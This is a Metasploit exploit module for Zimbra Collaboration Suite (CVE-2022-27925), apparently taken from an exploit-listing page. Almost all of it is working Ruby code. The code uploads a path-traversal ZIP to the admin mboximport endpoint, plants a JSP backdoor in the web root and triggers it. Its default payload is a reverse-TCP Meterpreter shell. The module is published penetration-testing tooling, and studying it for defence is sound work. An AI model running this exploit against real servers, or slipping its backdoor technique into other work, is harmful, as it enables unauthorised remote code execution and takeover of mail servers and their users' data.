Authored by Ron Bowes, Volexity Threat Research, Yang_99s Nest | Site metasploit.com

This Metasploit module POSTs a ZIP file containing path traversal characters to the administrator interface for Zimbra Collaboration Suite. If successful, it plants a JSP-based backdoor within the web directory, then executes it. The core vulnerability is a path traversal issue in Zimbra Collaboration Suite’s ZIP implementation that can result in the extraction of an arbitrary file to an arbitrary location on the host. This issue is exploitable on Zimbra Collaboration Suite Network Edition versions 9.0.0 Patch 23 and below as well as Zimbra Collaboration Suite Network Edition versions 8.8.15 Patch 30 and below.

advisories | CVE-2022-27925, CVE-2022-37042

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/zip'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::EXE
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Zip Path Traversal in Zimbra (mboximport) (CVE-2022-27925)',
'Description' => %q{
This module POSTs a ZIP file containing path traversal characters to
the administrator interface for Zimbra Collaboration Suite. If
successful, it plants a JSP-based backdoor within the web directory, then
executes it.

The core vulnerability is a path-traversal issue in Zimbra Collaboration Suite's
ZIP implementation that can result in the extraction of an arbitrary file
to an arbitrary location on the host.

This issue is exploitable on the following versions of Zimbra:

* Zimbra Collaboration Suite Network Edition 9.0.0 Patch 23 (and earlier)
* Zimbra Collaboration Suite Network Edition 8.8.15 Patch 30 (and earlier)

Note that the Open Source Edition is not affected.
},
'Author' => [
'Volexity Threat Research', # Initial writeup
"Yang_99's Nest", # PoC
'Ron Bowes', # Analysis / module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2022-27925'],
['CVE', '2022-37042'],
['URL', 'https://blog.zimbra.com/2022/03/new-zimbra-patches-9-0-0-patch-24-and-8-8-15-patch-31/'],
['URL', 'https://www.cisa.gov/uscert/ncas/alerts/aa22-228a'],
['URL', 'https://www.yang99.top/index.php/archives/82/'],
['URL', 'https://wiki.zimbra.com/wiki/Zimbra_Releases/9.0.0/P24'],
['URL', 'https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.15/P31'],
],
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' => [
[ 'Zimbra Collaboration Suite', {} ]
],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
'TARGET_PATH' => '../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbraAdmin/public/',
'TARGET_FILENAME' => nil,
'RPORT' => 7071,
'SSL' => true
},
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => '2022-05-10',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)

register_options(
[
OptString.new('TARGET_PATH', [ true, 'The location the payload should extract to (can, and should, contain path traversal characters - "../../").']),
OptString.new('TARGET_FILENAME', [ false, 'The filename to write in the target directory; should have a .jsp extension (default: <random>.jsp).']),
OptString.new('TARGET_USERNAME', [ true, 'The target user, must be valid on the Zimbra server', 'admin']),
]
)
end

# Generate an on-system filename using datastore options
def generate_target_filename
if datastore['TARGET_FILENAME'] && !datastore['TARGET_FILENAME'].end_with?('.jsp')
print_warning('TARGET_FILENAME does not end with .jsp, was that intentional?')
end

File.join(datastore['TARGET_PATH'], datastore['TARGET_FILENAME'] || "#{Rex::Text.rand_text_alpha_lower(4..10)}.jsp")
end

# Normalize the path traversal and figure out where it is relative to the web root
def zimbra_get_public_path(target_filename)
# Normalize the path
normalized_path = Pathname.new(File.join('/opt/zimbra/log', target_filename)).cleanpath

# Figure out where it is, relative to the webroot
webroot = Pathname.new('/opt/zimbra/jetty_base/webapps/')
relative_path = normalized_path.relative_path_from(webroot)

# Hopefully, we found a path from the webroot to the payload!
if relative_path.to_s.start_with?('../')
return nil
end

relative_path
end

def exploit
print_status('Encoding the payload as a .jsp file')
payload = Msf::Util::EXE.to_jsp(generate_payload_exe)

# Create a file
target_filename = generate_target_filename
print_status("Target filename: #{target_filename}")

# Create a zip file
zip = Rex::Zip::Archive.new
zip.add_file(target_filename, payload)
data = zip.pack

print_status('Sending POST request with ZIP file')
res = send_request_cgi(
'method' => 'POST',
'uri' => "/service/extension/backup/mboximport?account-name=#{datastore['TARGET_USERNAME']}&ow=1&no-switch=1&append=1",
'data' => data
)

# Check the response
if res.nil?
fail_with(Failure::Unreachable, "Could not connect to the target port (#{datastore['RPORT']})")
elsif res.code == 404
fail_with(Failure::NotFound, 'The target path was not found, target is probably not vulnerable')
elsif res.code != 401
print_warning("Unexpected response from the target (expected HTTP/401, got HTTP/#{res.code}) - exploit likely failed")
end

# Get the public path for triggering the vulnerability, terminate if we
# can't figure it out
public_filename = zimbra_get_public_path(target_filename)
if public_filename.nil?
fail_with(Failure::BadConfig, 'Could not determine the public web path, maybe you need to traverse further back?')
end

register_file_for_cleanup(target_filename)

print_status("Trying to trigger the backdoor @ #{public_filename}")

# Trigger the backdoor
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(public_filename)
)

if res.nil?
fail_with(Failure::Unreachable, 'Could not connect to trigger the payload')
elsif res.code == 200
print_good('Successfully triggered the payload')
elsif res.code == 404
fail_with(Failure::Unknown, "Payload was not uploaded, the server probably isn't vulnerable")
else
fail_with(Failure::Unknown, "Could not connect to the server to trigger the payload: HTTP/#{res.code}")
end
end
end